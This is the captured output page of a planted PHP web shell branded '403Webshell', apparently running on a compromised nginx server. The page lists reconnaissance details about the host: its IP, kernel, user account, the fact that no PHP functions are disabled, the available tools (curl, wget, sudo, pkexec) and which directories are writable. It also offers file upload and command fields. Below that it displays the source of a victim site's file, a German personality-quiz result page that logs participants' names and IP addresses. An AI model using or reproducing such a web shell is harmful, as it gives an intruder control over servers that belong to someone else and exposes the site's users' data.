403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web31/web/disg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web31/web/disg/result.php
<?php
declare(strict_types=1);
session_start();

require __DIR__ . '/config/questions.php';

$name = trim((string)($_SESSION['participant_name'] ?? ''));
if ($name === '') {
    header('Location: index.php');
    exit;
}

$submittedAnswers = $_POST['answers'] ?? [];
if (!is_array($submittedAnswers) || count($submittedAnswers) !== count($questions)) {
    $_SESSION['test_error'] = 'Bitte beantworte alle Fragen.';
    $_SESSION['old_answers'] = is_array($submittedAnswers) ? $submittedAnswers : [];
    header('Location: test.php');
    exit;
}

$scores = [
    'eskalierer' => 0,
    'vermittler' => 0,
    'planer' => 0,
    'chaot' => 0,
];

$cleanAnswers = [];

foreach ($questions as $qId => $questionData) {
    $answerKey = (string)($submittedAnswers[$qId] ?? '');

    if (!isset($questionData['answers'][$answerKey])) {
        $_SESSION['test_error'] = 'Ungültige Antwort erkannt. Bitte versuche es erneut.';
        $_SESSION['old_answers'] = $submittedAnswers;
        header('Location: test.php');
        exit;
    }

    $cleanAnswers[$qId] = $answerKey;
    $type = $questionData['answers'][$answerKey]['type'];
    $scores[$type]++;
}

arsort($scores);
$resultType = array_key_first($scores);
$result = $profiles[$resultType];

$storageFile = __DIR__ . '/data/results.txt';
$record = [
    'datetime' => date('Y-m-d H:i:s'),
    'name' => $name,
    'result_key' => $resultType,
    'result_title' => $result['title'],
    'scores' => $scores,
    'answers' => $cleanAnswers,
    'ip' => $_SERVER['REMOTE_ADDR'] ?? '',
    'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '',
];

$saveStatus = true;
$jsonLine = json_encode($record, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);

if ($jsonLine === false || file_put_contents($storageFile, $jsonLine . PHP_EOL, FILE_APPEND | LOCK_EX) === false) {
    $saveStatus = false;
}

function e(string $value): string
{
    return htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
}
?>
<!doctype html>
<html lang="de">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Dein Ergebnis</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>
        body { background: linear-gradient(135deg, #f8f9fa, #eef2f7); min-height: 100vh; }
        .result-card { border: 0; border-radius: 1.25rem; box-shadow: 0 1rem 3rem rgba(0,0,0,.08); }
    </style>
</head>
<body>
    <div class="container py-5">
        <div class="row justify-content-center">
            <div class="col-lg-8">
                <div class="card result-card">
                    <div class="card-body p-4 p-md-5 text-center">
                        <div class="display-3 mb-3"><?= e($result['emoji']) ?></div>
                        <p class="text-muted mb-2">Testergebnis für</p>
                        <h1 class="display-6 fw-bold mb-3"><?= e($name) ?></h1>

                        <span class="badge text-bg-<?= e($result['badge_class']) ?> fs-6 px-3 py-2 mb-4">
                            <?= e($result['title']) ?>
                        </span>

                        <p class="lead"><?= e($result['description']) ?></p>

                        <div class="row g-3 text-start mt-4">
                            <?php foreach ($scores as $type => $score): ?>
                                <div class="col-md-6">
                                    <div class="border rounded p-3 bg-light">
                                        <strong><?= e($profiles[$type]['title']) ?>:</strong> <?= (int)$score ?> Punkte
                                    </div>
                                </div>
                            <?php endforeach; ?>
                        </div>

                        <div class="mt-4">
                            <?php if ($saveStatus): ?>
                                <div class="alert alert-success">Dein Ergebnis wurde in der Textdatei gespeichert.</div>
                            <?php else: ?>
                                <div class="alert alert-warning">Das Ergebnis konnte nicht gespeichert werden. Prüfe die Schreibrechte für den Ordner <code>data</code>.</div>
                            <?php endif; ?>
                        </div>

                        <div class="d-flex flex-column flex-sm-row justify-content-center gap-2 mt-4">
                            <a href="test.php" class="btn btn-outline-secondary btn-lg">Nochmal prüfen</a>
                            <a href="index.php" class="btn btn-primary btn-lg">Neuen Test starten</a>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit